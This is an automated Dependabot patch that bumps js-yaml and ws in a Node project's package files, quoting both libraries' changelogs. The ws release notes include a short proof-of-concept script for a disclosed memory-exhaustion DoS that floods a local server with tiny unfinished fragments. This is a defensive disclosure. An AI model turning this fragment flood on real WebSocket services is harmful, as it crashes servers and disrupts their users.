From a852fa22f2b72a35959825d75295f2d5536aa878 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Tue, 23 Jun 2026 08:35:05 -0700
Subject: [PATCH] Bump the npm_and_yarn group across 1 directory with 2 updates
(#4387)
Bumps the npm_and_yarn group with 2 updates in the / directory:
[js-yaml](https://github.com/nodeca/js-yaml) and
[ws](https://github.com/websockets/ws).
Updates `js-yaml` from 4.1.1 to 4.2.0
Changelog
Sourced from js-yaml's
changelog.
[4.2.0] - 2026-06-01
Added
- Added
docs/safety.md with notes about processing
untrusted YAML.
- Added
maxDepth (100) loader option. Not a problem, but
gives a better
exception instead of RangeError on stack overflow.
- Added
maxMergeSeqLength (20) loader option. Not a
problem after merge fix,
but an additional restriction for safety.
- Added sourcemaps to
dist/ builds.
Changed
- Stop resolving numbers with underscores as numeric scalars, #627.
- Switched dev toolchains to Vite / neostandard.
- Updated demo.
- Reorganized tests.
dist/ files are no longer kept in the repository.
Fixed
- Fix parsing of properties on the first implicit block mapping key,
#62.
- Fix trailing whitespace handling when folding flow scalar lines, #307.
- Reject top-level block scalars without content indentation, #280.
- Ensure numbers survive round-trip, #737.
- Fix test coverage for issue #221.
- Fix flow scalar trailing whitespace folding, #307.
- Fix digits in YAML named tag handles.
Security
- Fix potential DoS via quadratic complexity in merge - deduplicate
repeated
elements (makes sense for malformed files > 10K).
[3.14.2] - 2025-11-15
Security
- Backported v4.1.1 fix to v3
Commits
Updates `ws` from 8.20.1 to 8.21.0
Release notes
Sourced from ws's
releases.
8.21.0
Features
- Introduced the
maxBufferedChunks and
maxFragments options (2b2abd45).
Bug fixes
- Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).
A high volume of tiny fragments and data chunks could be sent by a
peer, using
modest network traffic, to crash a ws server or client due
to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason:
${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason:
${reason.toString()});
});
});
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
In vulnerable versions, the issue can be mitigated by lowering the
value of the
maxPayload option if possible.
Commits
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
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Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
package-lock.json | 26 ++++++++++++++++++--------
package.json | 4 ++--
2 files changed, 20 insertions(+), 10 deletions(-)
diff --git a/package-lock.json b/package-lock.json
index b404e6f28..ee5235f9d 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -29,7 +29,7 @@
"intl-messageformat": "^11.2.3",
"ip-anonymize": "^0.1.0",
"jose": "^6.2.3",
- "js-yaml": "^4.1.1",
+ "js-yaml": "^4.2.0",
"lil-gui": "^0.21.0",
"limiter": "^3.0.0",
"nanoid": "^5.1.11",
@@ -38,7 +38,7 @@
"ts-node": "^10.9.2",
"tsx": "^4.22.4",
"winston": "^3.19.0",
- "ws": "^8.20.1",
+ "ws": "^8.21.0",
"zod": "^4.4.2"
},
"devDependencies": {
@@ -6163,9 +6163,19 @@
"license": "MIT"
},
"node_modules/js-yaml": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
- "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.2.0.tgz",
+ "integrity": "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/puzrin"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/nodeca"
+ }
+ ],
"license": "MIT",
"dependencies": {
"argparse": "^2.0.1"
@@ -9738,9 +9748,9 @@
"license": "ISC"
},
"node_modules/ws": {
- "version": "8.20.1",
- "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.1.tgz",
- "integrity": "sha512-It4dO0K5v//JtTXuPkfEOaI3uUN87iYPnqo/ZzqCoG3g8uhA66QUMs/SrM0YK7/NAu+r4LMh/9dq2A7k+rHs+w==",
+ "version": "8.21.0",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz",
+ "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==",
"license": "MIT",
"engines": {
"node": ">=10.0.0"
diff --git a/package.json b/package.json
index ff72b5116..0417293f1 100644
--- a/package.json
+++ b/package.json
@@ -104,7 +104,7 @@
"intl-messageformat": "^11.2.3",
"ip-anonymize": "^0.1.0",
"jose": "^6.2.3",
- "js-yaml": "^4.1.1",
+ "js-yaml": "^4.2.0",
"lil-gui": "^0.21.0",
"limiter": "^3.0.0",
"nanoid": "^5.1.11",
@@ -113,7 +113,7 @@
"ts-node": "^10.9.2",
"tsx": "^4.22.4",
"winston": "^3.19.0",
- "ws": "^8.20.1",
+ "ws": "^8.21.0",
"zod": "^4.4.2"
},
"overrides": {